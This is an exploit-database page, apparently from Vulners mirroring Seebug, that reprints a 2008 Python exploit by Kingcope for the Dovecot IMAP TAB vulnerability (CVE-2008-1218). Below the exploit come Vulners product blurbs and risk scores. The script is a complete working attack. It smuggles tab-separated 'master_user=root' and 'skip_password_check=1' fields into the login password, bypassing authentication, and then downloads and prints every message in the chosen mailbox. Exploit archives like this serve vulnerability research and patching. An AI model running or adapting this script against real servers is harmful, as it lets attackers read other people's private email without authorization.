Lucene search
K

Dovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 131 Views

Dovecot IMAP 1.0.10 Email Disclosure Exploi

Related
Code

                                                #lame Dovecot IMAP [1.0.10 -&#62; 1.1rc3] Exploit
#Here&#39;s an exploit for the recent TAB vulnerability in Dovecot.
#It&#39;s nothing special since in the wild there are few to none
#targets because of the special option which has to be set.
#see CVE Entry CVE-2008-1218
#Exploit written by Kingcope
import sys
import imaplib

print &#34;Dovecot IMAP [1.0.10 -&#62; 1.1rc2] Exploit&#34;
print &#34;Prints out all E-Mails for any account if special configuration option is set&#34;
print &#34;Exploit written by kingcope\n&#34;

if len(sys.argv)&#60;3:
     print &#34;usage: %s &#60;hostname/ip address&#62; &#60;account&#62; [-nossl]&#34; % sys.argv[0]
     exit(0);

if len(sys.argv)&#62;3 and sys.argv[3] == &#34;-nossl&#34;:
	M = imaplib.IMAP4(sys.argv[1])
else:
	M = imaplib.IMAP4_SSL(sys.argv[1])
M.login(sys.argv[2], &#34;\&#34;\tmaster_user=root\tskip_password_check=1\&#34;&#34;);
M.select()
print &#34;login succeeded.&#34;
typ, data = M.search(None, &#39;ALL&#39;)
k=0
for num in data[0].split():
    typ, data = M.fetch(num, &#39;(RFC822)&#39;)
    print &#39;Message %s\n%s\n&#39; % (num, data[0][1])
    k=k+1
M.close()
M.logout()
print &#34;Messages read: %s&#34; % k

# milw0rm.com [2008-03-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.19705
131